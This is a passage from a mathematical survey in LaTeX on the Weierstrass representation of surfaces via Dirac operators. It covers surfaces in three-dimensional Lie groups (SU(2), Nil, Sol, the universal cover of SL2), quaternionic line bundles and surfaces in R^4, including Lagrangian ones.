\bar{Z}_3) e_1 + (\bar{Z}_3 Z_1 - Z_3 \bar{Z}_1) e_2 + (\bar{Z}_1
Z_2 - Z_1 \bar{Z}_2) e_3 \right]
$$
(for $G=SU(2)$ with the Killing metric this formula takes the form
$f^{-1}(N)= 2ie^{-2\alpha} [\Psi^\ast,\Psi]$). Since the parameter
$z$ is conformal we have
$$
\langle \Psi,\Psi \rangle = \langle \Psi^\ast,\Psi^\ast\rangle =
0, \ \ \ \langle \Psi, \Psi^\ast\rangle = \frac{1}{2} e^{2\alpha}
$$
which is rewritten as
$$
Z_1^2 + Z_2^2 + Z_3^2 = 0, \ \ \ |Z_1|^2+|Z_2|^2+|Z_3|^2 =
\frac{1}{2} e^{2\alpha}.
$$
Therefore, as in the case of surfaces in ${\mathbb R}^3$, the vector $Z$ is
parameterized in terms of $\psi$ as follows:
\begin{equation}
\label{spinor} Z_1 = \frac{i}{2} ( \bar{\psi}_2^2 + \psi_1^2), \ \
\ Z_2 = \frac{1}{2} ( \bar{\psi}_2^2 - \psi_1^2), \ \ \ Z_3 =
\psi_1 \bar{\psi}_2.
\end{equation}
Let us show how to reconstruct a surface from $\psi$ meeting the
derivational equations (\ref{h1}) and (\ref{h2}). In the case of
non-commutative Lie groups that can not be done by the integral
Weierstrass formulas.
Let $\psi$ be defined on a surface $\Sigma$ with a complex
parameter $z$ and $\Psi$ constructed from $\psi$ meet (\ref{h1})
and (\ref{h2}). Let us pick up a point $P \in \Sigma$. We substitute
$\psi$ into the formula \eqref{spinor} for the components
$Z_1,Z_2,Z_3$ of $\Psi = \sum_{k=1}^3 Z_k e_k = f^{-1}
\partial f$ and solve the linear equation in the
Lie group $G$:
$$
f_z = f \Psi,
$$
with the initial data $f(P) = g \in G$. Thus we obtain the desired
surface as the mapping
$$
f: \Sigma \to G.
$$
For the group ${\mathbb R}^3$ a solution to such an equation is given by
the Weierstrass formulas (\ref{int3}) and (\ref{int30}).
From the derivation of (\ref{h1}) and (\ref{h2}) it is clear that
any surface $\Sigma$ in $G$ is constructed by this procedure which
is just the generalized Weierstrass representation for surfaces in
Lie groups. In this event we say that $\psi$ generates the surface
$\Sigma$.
Let us write down the derivational equations (\ref{h1}) and
(\ref{h2}) in terms of $\psi$. They are written as the Dirac
equation
\begin{equation}
\label{dirac-lie} {\cal D} \psi = \left[ \left(
\begin{array}{cc}
0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right)
+
\left(
\begin{array}{cc}
U & 0 \\
0 & V
\end{array}
\right) \right] \psi = 0,
\end{equation}
the induced metric is given by the same formula
$$
ds^2 = e^{2\alpha} dz d\bar{z}, \ \ \ e^\alpha = |\psi_1|^2 + |\psi_2|^2,
$$
and the Hopf quadratic differential $Adz^2$ equals to
$$
A = (\bar{\psi}_2 \partial \psi_1 - \psi_1 \partial \bar{\psi}_2)
+ \left(\sum_{j,k} Z_j Z_k \nabla_{e_j} e_k, N \right).
$$
For a compact Lie group with the Killing metric, in particular for
$G = SU(2)$, we have $\nabla_{e_j}e_k = - \nabla_{e_k}e_j$ and the
Hopf differential takes the same form as for surfaces in ${\mathbb R}^3$:
$A = \bar{\psi}_2 \partial \psi_1 - \psi_1 \partial \bar{\psi}_2$.
We consider three-dimensional Lie groups with Thurston's
geometries. Let us recall that by Thurston's theorem
\cite{Scott,Thurston} all three-dimensional maximal simply
connected geometries $(X,\mathrm{Isom}\, X)$ admitting compact
quotients are given by the following list:
1) the geometries with constant sectional curvature: $X = {\mathbb R}^3,
S^3$, and $H^3$;
2) two product geometries: $X = S^2 \times {\mathbb R}$ and $H^2 \times
{\mathbb R}$;
3) three geometries modelled on Lie groups ${\mathrm{Nil}\, }, {\mathrm{Sol}\, }$, and
$\widetilde{SL}_2$ with certain left invariant metrics.
The group ${\mathbb R}^3$ with the Euclidean metric was already considered
above. Hence we are left with four groups:
$$
SU(2) = S^3, \ \ \ {\mathrm{Nil}\, }, \ \ \ {\mathrm{Sol}\, }, \ \ \ \widetilde{SL}_2
$$
where ${\mathrm{Nil}\, }$ is a nilpotent group, ${\mathrm{Sol}\, }$ is a solvable group, and
$\widetilde{SL}_2$ is the universal cover of the group $SL_2({\mathbb R})$:
$$
{\mathrm{Nil}\, } = \left\{\left(
\begin{array}{ccc}
1 & x & z \\
0 & 1 & y \\
0 & 0 & 1
\end{array}
\right)\right\}, \ \ \ {\mathrm{Sol}\, } = \left\{\left(
\begin{array}{ccc}
e^{-z} & 0 & x \\
0 & e^z & y \\
0 & 0 & 1
\end{array}
\right)\right\},
$$
with $x,y,z \in {\mathbb R}$.
The case $G = SU(2)$ was studied in \cite{T3} and surfaces in the other groups were
considered in \cite{Berdinsky}:
\begin{itemize}
\item
$G = SU(2)$:
$$
U = \bar{V} = \frac{1}{2}(H - i)(|\psi_1|^2 + |\psi_2|^2),
$$
the Gauss--Weingarten equations are
$$
\left[\frac{\partial}{\partial z} - \left(\begin{array}{cc}
\alpha_z & A e^{-\alpha} \\
-U & 0
\end{array}
\right)\right]\psi = \left[\frac{\partial}{\partial \bar{z}} -
\left(\begin{array}{cc}
0 & \bar{U} \\
-\bar{A}e^{-\alpha} & \alpha_{\bar{z}}
\end{array}
\right)\right]\psi = 0,
$$
their compatibility conditions --- the Gauss--Codazzi equations
---
take the form
$$
\alpha_{z\bar{z}} + |U|^2 - |A|^2e^{-2\alpha} = 0, \ \ \
A_{\bar{z}} = (\bar{U}_z - \alpha_z\bar{U})e^{\alpha}
$$
with $A dz^2$ the Hopf differential:
$$
A = \bar{\psi}_2 \partial \psi_1 - \psi_1 \partial
\bar{\psi}_2,
$$
\item
$G = {\mathrm{Nil}\, }$:
$$
U = V = \frac{H}{2}(|\psi_1|^2+|\psi_2|^2) +
\frac{i}{4}(|\psi_2|^2-|\psi_1|^2),
$$
the Gauss--Weingarten equations are
$$
\left[
\frac{\partial}{\partial
z} - \left(\begin{array}{cc}
\alpha_z - \frac{i}{2}\psi_1 \bar{\psi}_2 & A e^{-\alpha} \\
-U & 0
\end{array}
\right)\right]\psi = 0, $$
$$
\left[\frac{\partial}{\partial
\bar{z}} - \left(\begin{array}{cc}
0 & U \\
-\bar{A}e^{-\alpha} & \alpha_{\bar{z}} - \frac{i}{2}\bar{\psi}_1\psi_2
\end{array}
\right)\right]\psi = 0,
$$
and the Gauss--Codazzi equations have the following shape
$$
\alpha_{z\bar{z}} - |A|^2 e^{-2\alpha} + \frac{H^2}{4} e^{2\alpha}
= \frac{1}{16}(3|\psi_1|^4 + 3 |\psi_2|^4 - 10 |\psi_1|^2
|\psi_2|^2),
$$
$$
A_{\bar{z}} - \frac{H_z}{2}e^{2\alpha} +
\frac{1}{2}(|\psi_2|^4-|\psi_1|^4)\psi_1 \bar{\psi}_2 = 0
$$
where the Hopf differential equals to
$$
A = (\bar{\psi}_2 \partial \psi_1 - \psi_1 \partial \bar{\psi}_2)
+ i \psi_1^2 \bar{\psi}_2^2,
$$
\item
$G = \widetilde{SL}_2$:
$$
U = \frac{H}{2}(|\psi_1|^2+|\psi_2|^2) +
i\left(\frac{1}{2}|\psi_1|^2-\frac{3}{4}|\psi_2|^2\right),
$$
$$
V = \frac{H}{2}(|\psi_1|^2+|\psi_2|^2) +
i\left(\frac{3}{4}|\psi_1|^2-\frac{1}{2}|\psi_2|^2\right),
$$
the Gauss--Weingarten equations are written as
$$
\left[
\frac{\partial}{\partial
z} - \left(\begin{array}{cc}
\alpha_z + \frac{5i}{4}\psi_1 \bar{\psi}_2 & A e^{-\alpha} \\
-U & 0
\end{array}
\right)\right]\psi = 0, $$
$$
\left[\frac{\partial}{\partial
\bar{z}} - \left(\begin{array}{cc}
0 & V \\
-\bar{A}e^{-\alpha} & \alpha_{\bar{z}} + \frac{5i}{4}\bar{\psi}_1\psi_2
\end{array}
\right)\right]\psi = 0,
$$
and the Gauss--Codazzi equations take the form
$$
\alpha_{z \bar{z}} - e^{-2 \alpha} |A|^{2} + \frac{1}{4}
e^{2\alpha} H^{2} =
e^{2\alpha} - 5|Z_3|^2,
$$
$$
\bar{\partial}\left (A + \frac{5 Z_3^2}{2(H-i)} \right) =
\frac{1}{2} H_z e^{2\alpha} + \bar{\partial}
\left(\frac{5}{2(H-i)} \right) {Z_3}^2,
$$
where
$$
A = (\bar{\psi}_2 \partial \psi_1 - \psi_1 \partial \bar{\psi}_2)
-\frac{5i}{2} \psi_1^2 \bar{\psi}_2^2,
$$
\item
$G = {\mathrm{Sol}\, }$: we consider only domains where $Z_3 = \psi_1
\bar{\psi}_2$ in which
$$
U = \frac{H}{2}(|\psi_1|^2+|\psi_2|^2) + \frac{1}{2}\bar{\psi}_2^2
\frac{\bar{\psi}_1}{\psi_1},
$$
$$
V = \frac{H}{2}(|\psi_1|^2+|\psi_2|^2) + \frac{1}{2}\bar{\psi}_1^2
\frac{\bar{\psi}_2}{\psi_2},
$$
the Gauss--Weingarten equations consist in the Dirac equation and
the following system
$$
\partial \psi_1 = \alpha_z \psi_1 +
Ae^{-\alpha} \psi_2 -
\frac{1}{2} \bar{\psi}_2^3, \ \
\bar{\partial} \psi_2 = -\bar{A} e^{-\alpha} \psi_1 +
\alpha_{\bar{z}}\psi_2- \frac{1}{2} \bar{\psi}_1^3,
$$
the Gauss--Codazzi equations are
$$
\alpha_{z \bar{z}} - e^{-2 \alpha} |A|^{2} + \frac{1}{4}
e^{2\alpha} H^{2} = \frac{1}{4} (6 |\psi_1|^2 |\psi_2|^2
-(|\psi_1|^4 + |\psi_2|^4)),
$$
$$
A_{\bar{z}} - \frac{1}{2} H_z
e^{2\alpha} = (|\psi_2|^4 - |\psi_1|^4) \psi_1 \bar{\psi}_2
$$
with
$$
A = (\bar{\psi}_2 \partial \psi_1 - \psi_1 \partial \bar{\psi}_2) +
\frac{1}{2} (\bar{\psi}_2^4 - \psi_1 ^4).
$$
\end{itemize}
It needs to make several explaining remarks:
1) for the last three groups the term $Z_3$ appears in the
formulas. The direction of the vector $e_3$ has different sense
for these groups:
1a) the groups ${\mathrm{Nil}\, }$ and $\widetilde{SL}_2$ admit $S^1$-symmetry which is the
rotation around the geodesic drawn in the direction of $e_3$. This
rotation together with left shifts generate $\mathrm{Isom} G$;
1b) for ${\mathrm{Sol}\, }$ the vectors $e_1$ and $e_2$ commute. Therefore
the equation $Z_3 = \psi_1 \bar{\psi}_2
=0$ can be valid in an open subset $B$ of a surface and
therewith the
Dirac equation is not extended by continuity onto the whole
surface.
Since $H=0$ in $B$ we put
$$
U = V = 0 \ \ \ \ \mbox{for $\psi_1 \bar{\psi}_2 = 0$ and $G =
{\mathrm{Sol}\, }$}.
$$
However on the boundary $\partial B$ of the set $\{Z_3 \neq 0\}$
the potentials $U_{\mathrm{Sol}\, }$ and $V_{\mathrm{Sol}\, }$ are not always correctly
defined due to the indeterminacy of $\frac{\bar{\psi}_1}{\psi_1}$
for $\psi_1=0$ and the Dirac equation with given potentials is valid
outside $\partial B$;
2) for $G = {\mathbb R}^3$ or $SU(2)$
the Gauss--Codazzi equations are derived as follows.
We have
$$
R \psi = (\partial - {\cal A})(\bar{\partial} - {\cal B}) \psi -
(\bar{\partial} - {\cal B})(\partial - {\cal A}) \psi =
({\cal A}_{\bar{z}} - {\cal B}_z + [{\cal A},{\cal B}]) \psi = 0,
$$
where $(\partial - {\cal A})\psi = (\bar{\partial} - {\cal B})\psi
= 0$ are the Gauss--Weingarten equations and the vector function
$\psi^\ast$ (see (\ref{ast})) meets the same equation $R\psi^\ast =
0$ which together with $R\psi=0$ implies that $R = {\cal
A}_{\bar{z}} - {\cal B}_z + [{\cal A},{\cal B}] = 0$. For other
groups the equations ${\cal D} \psi^\ast=0$ and $R\psi^\ast=0$ does not
hold and, in particular, the kernel of the Dirac operator can not
be treated as a vector space over quaternions. Therefore the
Gauss--Codazzi equations are derived in \cite{Berdinsky} by other
methods;
3) in fact the Dirac equations in the case of non-commutative
groups are nonlinear in $\psi$ due to the constraints on the
potentials. Therefore if $\psi$ defines a surface then $\lambda
\psi$ does not define another surface for $|\lambda|\neq 1$ since
these groups do not admit dilations. For $SU(2)$ the mapping
(\ref{ast}) maps a solution of the Dirac equation to another
solution of it and the analog of part 1 of Lemma
\ref{lemma-dilation} holds: $\lambda \psi + \mu \psi^\ast,
|\lambda|^2 + |\mu|^2 =1$, defines an image of the initial surface
under some inner automorphism of $SU(2)$ corresponding to a
rotation of the Lie algebra.
Let us expose some corollaries. Since the case $G=SU(2)$ was
well-studied,~\footnote{For $SU(2)$ the minimal surface equations
are $\bar{\partial} \psi_1 =
-\frac{i}{2}(|\psi_1|^2+|\psi_2|^2)\psi_2$, $\partial \psi_2 =
\frac{i}{2}(|\psi_1|^2+|\psi_2|^2)\psi_1$, and CMC surfaces are
distinguished by the condition $A_{\bar{z}} = 0$.} we consider
only other groups.
\begin{theorem} 1) Given $\psi$ generating a minimal surface in a Lie group,
the following equations hold:
$$
\bar{\partial} \psi_1 = \frac{i}{4}(|\psi_2|^2-|\psi_1|^2)\psi_2, \ \ \
\partial \psi_2 = - \frac{i}{4}(|\psi_2|^2-|\psi_1|^2) \psi_1 \ \
\ \ \mbox{for $G={\mathrm{Nil}\, }$},
$$
$$
\bar{\partial} \psi_1 =
i\left(\frac{3}{4}|\psi_1|^2-\frac{1}{2}|\psi_2|^2\right) \psi_2,
\
\partial \psi_2 =
-i\left(\frac{1}{2}|\psi_1|^2-\frac{3}{4}|\psi_2|^2\right)\psi_1 \
$$
$$
\ \mbox{for $G = \widetilde{SL}_2$},
$$
$$
\bar{\partial}\psi_1 = \frac{1}{2} \bar{\psi}_1^2 \bar{\psi}_2, \
\ \
\partial \psi_2 = - \frac{1}{2} \bar{\psi}_1 \bar{\psi}_2^2 \ \ \
\ \mbox{for $G = {\mathrm{Sol}\, }$}.
$$
2) (Abresch \cite{Abresch}) If a surface has constant mean
curvature then the following quadratic differential
$\widetilde{A}dz^2$ is holomorphic:
$$
\widetilde{A} dz^2 = \left (A + \frac{{Z_3}^2}{2H+i} \right)dz^2 \
\ \ \ \mbox{for $G = {\mathrm{Nil}\, }$},
$$
$$
\widetilde{A} dz^2 = \left(A + \frac{5}{2(H-i)}Z^2_3\right) dz^2 \
\ \ \ \mbox{for $G = \widetilde{SL}_2$}.
$$
3) If for a surface in $G = {\mathrm{Nil}\, }$ the differential
$\widetilde{A}dz^2$ is holomorphic then the surface has constant
mean curvature.
\end{theorem}
It would be interesting to understand relations of formulas for
constant mean curvature surfaces in these groups to soliton
equations. Such relations are well-known for such surfaces in
${\mathbb R}^3$ and $SU(2)$.
The analogs of the statement 2) are known also for surfaces in the
product geometries $S^2 \times {\mathbb R}$ and $H^2 \times {\mathbb R}$
\cite{AbreschR}. However only for surfaces in ${\mathrm{Nil}\, }$ the converse
--- the statement 3) --- is also proved.
\footnote{After this paper was submitted for a publication it was shown that
for surfaces in $G = \widetilde{SL}_2$ and in $H^2 \times {\mathbb R}$
the analogous statement does not hold: there are
surfaces for which the quadratic differential $\widetilde{A}dz^2$
is holomorphic and which are not CMC surfaces \cite{Fernandez}.}
We remark that for minimal surfaces in ${\mathrm{Nil}\, }$ and ${\mathrm{Sol}\, }$ the
analog of the Weierstrass representation was obtained by other
methods in \cite{I1,I2}. Other approaches to study surfaces in Lie
groups were used in \cite{Daniel,FG}.
\subsection{The quaternion language and quaternionic function theory}
\label{subsec2.4}
Pedit and Pinkall wrote the Weierstrass representation
representation of surfaces in ${\mathbb R}^3$ in the quaternion language
and then extended it to surfaces in ${\mathbb R}^4$ \cite{PP} (see some
preliminary results in \cite{Kamberov,KPP,Richter}).
Indeed, the idea of using quaternions comes from the symmetry of
the kernel of the Dirac operator under the transformation
(\ref{ast}) (remark that that holds for surfaces in ${\mathbb R}^3$ and
$SU(2)$ when $U = \bar{V}$ and is not valid for surfaces in other
three-dimensional Lie groups).
We identify ${\mathbb C}^2$ with the space of quaternions ${\mathbb H}$ as follows
$$
(z_1,z_2) \to z_1 + {\bf j} z_2 = \left(
\begin{array}{cc}
z_1 & -\bar{z}_2 \\
z_2 & \bar{z}_1
\end{array}
\right)
$$
and consider two matrix operators
$$
\bar{\partial} = \left(
\begin{array}{cc}
\bar{\partial} & 0 \\
0 & \partial
\end{array}
\right), \ \ \ {\bf j} U = {\bf j} \left(\begin{array}{cc} U & 0 \\ 0 &
\bar{U} \end{array}\right) = \left(\begin{array}{cc} 0 & -\bar{U} \\
U & 0 \end{array}\right).
$$
Here ${\bf j}$ is one the standard generators of quaternions and we
have
$$
{\bf j}^2 = -1, \ \ \ z{\bf j} = j \bar{z}, \ \ \ \bar{\partial} {\bf j} = {\bf j}
\partial.
$$
Then the Dirac equation takes the form
$$
(\bar{\partial} + {\bf j} U)(\psi_1 + {\bf j} \psi_2) =
(\bar{\partial}\psi_1 - \bar{U}\psi_2) + {\bf j} (\partial \psi_2 + U
\psi_1) = 0.
$$
Since, by (\ref{bundle}), $\psi_1$ and $\bar{\psi}_2$ are sections
of the same bundle $E$ it is worth working in terms of quaternions
to rewrite the Dirac equation as
$$
(\bar{\partial} + {\bf j} U)(\psi_1 + \bar{\psi}_2 {\bf j}) = 0.
$$
One may treat $L = E_0 \oplus E_0$ as a quaternionic line bundle
whose sections take the form $\psi_1 + \bar{\psi}_2 {\bf j}$ and which
is endowed by some quaternion linear endomorphism $J$ such that
$J^2=-1$. In our case $J$ simply acts as the right-side
multiplication by ${\bf j}$:
$$
J:(\psi_1,\bar{\psi}_2) \to (-\bar{\psi}_2,\bar{\psi}_1) \ \
\mbox{or} \ \ \ \psi_1 + \bar{\psi}_2 {\bf j} \to (\psi_1 +
\bar{\psi}_2 {\bf j}){\bf j} = -\bar{\psi_2} + \psi_1 {\bf j}.
$$
This mapping $J$ defines for any quaternion fiber a canonical
splitting into ${\mathbb C} \oplus {\mathbb C}$ (in our case this is a splitting
into $\psi_1$ and $\bar{\psi}_2$). In \cite{PP,BFLPP}
such a bundle is called a ``complex quaternionic line bundle''.
The Dirac operator in these terms is just
$$
{\cal D} \psi = (\bar{\partial} + {\bf j} U) (\psi_1 + \bar{\psi}_2 {\bf j}) =
(\bar{\partial} \psi_1 -\bar{U}\psi_2) + (\bar{\partial}
\bar{\psi}_2 + \bar{U}\bar{\psi}_1){\bf j}
$$
and we see that its kernel is invariant under the right-side
multiplications by constant quaternions (see Lemma \ref{lemma-dilation})
and thus the kernel can be considered as a linear space over ${\mathbb H}$.
By (\ref{bundle}), we have an operator
$$
{\cal D}: \Gamma(L) \to \Gamma(\bar{K}L)
$$
where, given a bundle $V$, we denote by $\Gamma(V)$ the space of
sections of a bundle $V$ and $\bar{K}$ is the bundle of $1$-forms
of type $(0,1)$, i.e., of type $fd\bar{z}$, over a surface
$\Sigma_0$.
This operator, of course, is not linear with respect to right-side
multiplications on quaternion-valued functions and the following
evident formula holds:
$$
{\cal D} (\psi \lambda) = ({\cal D} \psi)\lambda + \psi_1 (\bar{\mu} +
{\bf j} \partial \eta) + \bar{\psi}_2
(-\bar{\partial}\eta + {\bf j} \partial \mu),
$$
where $\lambda = \mu + {\bf j} \eta = \mu +
\bar{\eta} {\bf j}$. In \cite{PP} this formula is written in a
coordinate-free form as
$$
{\cal D} (\psi \lambda) = ({\cal D} \psi) \lambda + \frac{1}{2} (\psi d\lambda
+ J \psi \ast d\lambda),
$$
the potential $U$ multiplied by ${\bf j}$ from the left is called the
Hopf field $Q = {\bf j} U$ of the connection ${\cal D}$ on $L$ and the
quantity
$$
{\cal W} = \int_{\Sigma_0} |U|^2 dx \wedge dy
$$
is called the Willmore energy of the connection ${\cal D}$.
Although at the beginning this quaternion language had looked very
artificial, at least to us,
it led to an extension of the Weierstrass
representation for surfaces in ${\mathbb R}^4$ \cite{PP}.
Later it was developed into a tool of investigation
based on working out analogies between complex algebraic
geometry and the theory of complex quaternionic line bundles.
It appears that that is effectively applied to a study of special types of
surfaces and B\"acklund transforms between them in the conformal
setting, i.e. not distinguishing between ${\mathbb R}^4$ and $S^4$
\cite{BFLPP,LPP}.
Finally this approach had led to a fabulous
extension of the Pl\"ucker type relations from complex algebraic
geometry onto geometry of complex quaternionic line
bundles and application of that to obtaining lower bound for the
Willmore functional \cite{FLPP} (see in \S \ref{subsec5.4}). Therewith
this theory deals in the same
manner with general bundles $L$ not always coming from the surface
theory \cite{FLPP}. The bundles related to surfaces are
distinguished by their degrees: it follows from (\ref{bundle0})
and (\ref{bundle}) that
$$
\deg E_0 = \mathrm{genus}\, (\Sigma_0) - 1 = g-1.
$$
\subsection{Surfaces in ${\mathbb R}^4$}
\label{subsec2.5}
The Grassmannian of oriented two-planes in ${\mathbb R}^4$ is diffeomorphic
to the quadric
$$
y_1^2 + y_2^2 + y_3^2 + y_4^2 = 0, \ \ \ y \in{\mathbb C} P^3.
$$
We take another coordinates in
$y^\prime_1,y^\prime_2,y^\prime_3,y^\prime_4$ in ${\mathbb C}^4$:
$$
y_1 = \frac{i}{2}(y^\prime_1 + y^\prime_2), \ \ \ y_2 =
\frac{1}{2}(y^\prime_1-y^\prime_2),
\ \ \
y_3 = \frac{1}{2}(y^\prime_3 + y^\prime_4), \ \ \ y_4 =
\frac{i}{2}(y^\prime_3-y^\prime_4).
$$
In terms of these coordinates $\widetilde{G}_{4,2}$ is defined by
the equation
$$
y^\prime_1 y^\prime_2 = y^\prime_3 y^\prime_4.
$$
It is clear that there is a diffeomorphism
$$
{\mathbb C} P^1 \times {\mathbb C} P^1 \to \widetilde{G}_{4,2}
$$
given by the Segre mapping
$$
y^\prime_1 = a_2 b_2, \ \ y^\prime_2 = a_1 b_1, \ \ y^\prime_3 = a_2
b_1, \ \ y^\prime_4 = a_1 b_2
$$
where $(a_1:a_2)$ and $(b_1:b_2)$ are the homogeneous coordinates
on different copies of ${\mathbb C} P^1$.
Let us parameterize $x^k_z, k=1,2,3,4$, in terms of these
homogeneous coordinates and put
$$
a_1 = \varphi_1, \ \ a_2 =\bar{\varphi}_2, \ \ b_1 = \psi_1, \ \
b_2 = \bar{\psi}_2.
$$
In difference with the $3$-dimensional situation this
parameterization is not unique even up to the multiplication by
$\pm 1$ and the vector functions $\psi$ and $\varphi$ are defined
up to the gauge transformations
\begin{equation}
\label{gauge1} \left(
\begin{array}{c}
\psi_1 \\ \psi_2
\end{array}
\right) \to \left(
\begin{array}{c}
e^f\psi_1 \\ e^{\bar{f}}\psi_2
\end{array}
\right), \ \ \ \left(
\begin{array}{c}
\varphi_1 \\ \varphi_2
\end{array}
\right) \to \left(
\begin{array}{c}
e^{-f} \varphi_1 \\ e^{-\bar{f}}\varphi_2
\end{array}
\right),
\end{equation}
where $f$ is an arbitrary function. However the mappings
$$
G_\psi = (\psi_1 : \bar{\psi}_2), \ \ \ G_\varphi = (\varphi_1 :
\bar{\varphi}_2)
$$
into ${\mathbb C} P^1$ are correctly defined and split the Gauss map
$$
G = (G_\psi, G_\varphi): \Sigma \to \widetilde{G}_{4,2} = {\mathbb C} P^1
\times {\mathbb C} P^1.
$$
We have the following formulas for an immersion of the surface:
\begin{equation}
\label{int4} x^k = x^k(0) + \int \left( x^k_z dz + \bar{x}^k_z
d\bar{z}\right), \ \ k=1,2,3,4,
\end{equation}
with
\begin{equation}
\label{int40}
\begin{split}
x^1_z = \frac{i}{2} (\bar{\varphi}_2\bar{\psi}_2 + \varphi_1
\psi_1), \ \ \ \ x^2_z = \frac{1}{2} (\bar{\varphi}_2\bar{\psi}_2 -
\varphi_1 \psi_1),
\\
x^3_z = \frac{1}{2} (\bar{\varphi}_2 \psi_1 + \varphi_1
\bar{\psi}_2), \ \ \ \ x^4_z = \frac{i}{2} (\bar{\varphi}_2 \psi_1 -
\varphi_1 \bar{\psi}_2).
\end{split}
\end{equation}
Of course, as in the three-dimensional case, these formulas define a
surface if and only if the integrands are closed forms or,
equivalently,
$$
{\mathrm{Im}\, } x^k_{z\bar{z}} = 0, \ \ \ k=1,2,3,4.
$$
This is rewritten as
\begin{equation}
\label{codazzi4} \left(\bar{\varphi}_2 \psi_1 \right)_{\bar{z}} =
\left(\bar{\varphi}_1 \psi_2 \right)_z, \ \ \ \left(\bar{\varphi}_2
\bar{\psi}_2\right)_{\bar{z}} = - \left(\bar{\varphi}_1
\bar{\psi}_1\right)_z.
\end{equation}
For generic $\varphi$ and $\psi$ these conditions are not written in
terms of Dirac equations.
However there is the following
\begin{theorem}
[\cite{T5}]
\label{theorem4} Let $r:W \to {\mathbb R}^4$ be an immersed surface with a
conformal parameter $z$ and let $G_\psi = (e^{i\theta}\cos \eta:
\sin \eta)$ be one of the components of its Gauss map.
There exists another representative $\psi$ of this mapping $G_\psi =
(\psi_1:\bar{\psi}_2)$ such that it meets the Dirac equation
\begin{equation}
\label{dirac4} {\cal D} \psi = 0, \ \ \ \ \ {\cal D} = \left(
\begin{array}{cc}
0 & \partial \\
-\bar{\partial} & 0
\end{array}
\right)+ \left(
\begin{array}{cc}
U & 0 \\
0 & \bar{U}
\end{array}
\right)
\end{equation}
with some potential $U$.
A vector function $\psi = (e^{g+i\theta}\cos \eta,e^{\bar{g}}\sin
\eta)$ is defined from the equation
\begin{equation}
\label{maineq}
g_{\bar{z}} = -i\theta_{\bar{z}} \cos^2 \eta,
\end{equation}
whose solution is defined up to addition of an arbitrary
holomorphic function $h$ and the corresponding potential $U$ is
defined by the formula
$$
U = -e^{\bar{g}-g-i\theta}(i\theta_z \sin \eta \cos \eta +\eta_z)
$$
up to multiplication by $e^{\bar{h}-h}$.
Given the function $\psi$, a function $\varphi$ which represents
another component $G_\varphi$ of the Gauss map meets the equation
\begin{equation}
\label{dirac40}
{\cal D}^\vee \varphi = 0, \ \ \ \
{\cal D}^\vee = \left(\begin{array}{cc} 0 & \partial \\
-\bar{\partial} & 0 \end{array}\right) +
\left(\begin{array}{cc} \bar{U} & 0 \\
0 & U \end{array}\right).
\end{equation}
Different lifts into ${\mathbb C}^2 \times {\mathbb C}^2$ of the Gauss mapping $G:
\Sigma \to {\mathbb C} P^1 \times {\mathbb C} P^1$ are related by gauge
transformations
\begin{equation}
\label{gauge2}
\left(
\begin{array}{c}
\psi_1 \\ \psi_2
\end{array}
\right) \to \left(
\begin{array}{c}
e^h\psi_1 \\ e^{\bar{h}}\psi_2
\end{array}
\right), \ \ \ \left(
\begin{array}{c}
\varphi_1 \\ \varphi_2
\end{array}
\right) \to \left(
\begin{array}{c}
e^{-h} \varphi_1 \\ e^{-\bar{h}}\varphi_2
\end{array}
\right),
\ \ \
U \to \exp{(\bar{h}-h)}U, \
\end{equation}
where $h$ is an arbitrary holomorphic function on $W$.
\end{theorem}
\begin{corollary}
Any oriented surface in ${\mathbb R}^4$ is defined by the formulas
(\ref{int4}) and (\ref{int40}) where the vector functions $\psi$
and $\varphi$ meet the equations of the Dirac type (\ref{dirac4})
and (\ref{dirac40}):
$$
{\cal D} \psi = {\cal D}^\vee \varphi = 0.
$$
The induced metric equals
$$
e^{2\alpha} dzd\bar{z} =
(|\psi_1|^2+|\psi_2|^2)(|\varphi_1|^2+|\varphi_2|^2)dz d\bar{z}
$$
and the norm of the mean curvature vector ${\bf H} = \frac{2
x_{z\bar{z}}}{e^{2\alpha}}$ meets the equality
$$
|U| = \frac{|{\bf H}| e^\alpha}{2}.
$$
\end{corollary}
Let us consider the diagonal embedding
$$
\widetilde{G}_{3,2} = {\mathbb C} P^1 \to \widetilde{G}_{4,2} = {\mathbb C} P^1 \times
{\mathbb C} P^1.
$$
If $\varphi$ and $\psi$ generate a surface and lie in the
diagonal: $\varphi = \pm \psi$, then $x^4 = 0$ and we obtain a
Weierstrass representation of the surface in ${\mathbb R}^3$.
The formulas (\ref{int4}) and (\ref{int40}) appeared for inducing
surfaces in \cite{K2}. This corollary demonstrates that they are
general although this has to follow also from \cite{PP} where such a
representation was first indicated in the quaternion language.
We indicate two specific features of the representation of
surfaces in ${\mathbb R}^4$ which were not discussed in the previous
papers:
\begin{itemize}
\item
given a surface, a representation is not unique and different
representations are related by nontrivial gauge transformations;
\item
a Weierstrass representation of some domain is not always expanded
onto the whole surface and in difference with the
three-dimensional case it needs to solve $\bar{\partial}$-problem
(\ref{maineq}) on the whole surface to obtain a representation of
the surface.
\end{itemize}
Indeed, take $\psi$ and $\varphi$ generating surface $\Sigma$, a
domain $W \subset \Sigma$ and a holomorphic function $f$ on $W$
which is not analytically extended outside $W$. Then by
(\ref{gauge1}) we construct from $\psi,varphi$, and $f$ a another
representation of $W$ which is not expanded outside $W$.
{\sc Example. Lagrangian surfaces in ${\mathbb R}^4$.}
We expose the Weierstrass representation of Lagrangian surfaces in
${\mathbb R}^4$ obtained by Helein and Romon \cite{HR}. A reduction of the
formulas (\ref{int40}) to the formulas from \cite{HR} was
demonstrated by Helein \cite{Helein}).
Let us take the following symplectic form on ${\mathbb R}^4$:
$$
\omega = dx^1 \wedge dx^2 + dx^3 \wedge dx^4.
$$
We recall that an $n$-dimensional submanifold $\Sigma$ of a
$2n$-dimensional symplectic manifold $M^{2n}$ with a symplectic form
$\omega$ is called Lagrangian if the restriction of $\omega$ onto
$\Sigma$ vanishes:
$$
\omega\vert_{\Sigma} = 0.
$$
This means that at any point $x \in \Sigma$ the restriction of
$\omega$ onto the tangent space $T_x \Sigma$ vanishes, i.e., $T_x
\Sigma$ is a Lagrangian $n$-plane in ${\mathbb R}^{2n}$.
The condition that a $2$-plane is Lagrangian in ${\mathbb R}^4$ is written
as
$$
{\mathrm{Im}\, } \left(y_1 \bar{y}_2 + y_3 \bar{y}_4\right) = 0
$$
or
$$
|y^\prime_1|^2 - |y^\prime_2|^2 - |y^\prime_3|^2 + |y^\prime_4|^2 =
0.
$$
In terms of $a_1,a_2,b_1$, and $b_2$ it takes the form
$$
|b_1|^2 = |b_2|^2.
$$
